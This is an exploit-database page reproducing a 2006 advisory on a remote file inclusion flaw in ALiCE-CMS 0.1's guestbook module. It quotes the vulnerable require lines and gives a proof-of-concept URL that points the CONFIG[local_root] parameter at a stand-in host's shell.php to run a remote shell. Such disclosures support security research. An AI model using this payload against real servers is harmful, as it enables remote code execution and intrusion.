[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability

Author
nuffsaid
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1014
Category
web applications
Date add
16-10-2006
Platform
unsorted
====================================================================
ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability
====================================================================



+-------------------------------------------------------------------------------------------
+ ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: ALiCE-CMS 0.1
+ Vendor ............: http://alicecms.sourceforge.net/
+ Description .......: "ALiCE is a content-management-system cms written in php4 with mysql database."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid 
+-------------------------------------------------------------------------------------------
+ Details:
+ The $CONFIG['local_root'] variable in modules/guestbook/index.php is not set before being
+ used to include files.
+ 
+ Vulnerable Code:
+ modules/guestbook/index.php, line(s) 2: require $CONFIG['local_root'].'modules/guestbook/guestbook.class.php';
+ modules/guestbook/index.php, line(s) 3: require $CONFIG['local_root'].'modules/guestbook/guestbookfunctions.php';
+ 
+ Proof Of Concept:
+ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------




#  0day.today [2024-12-25]  #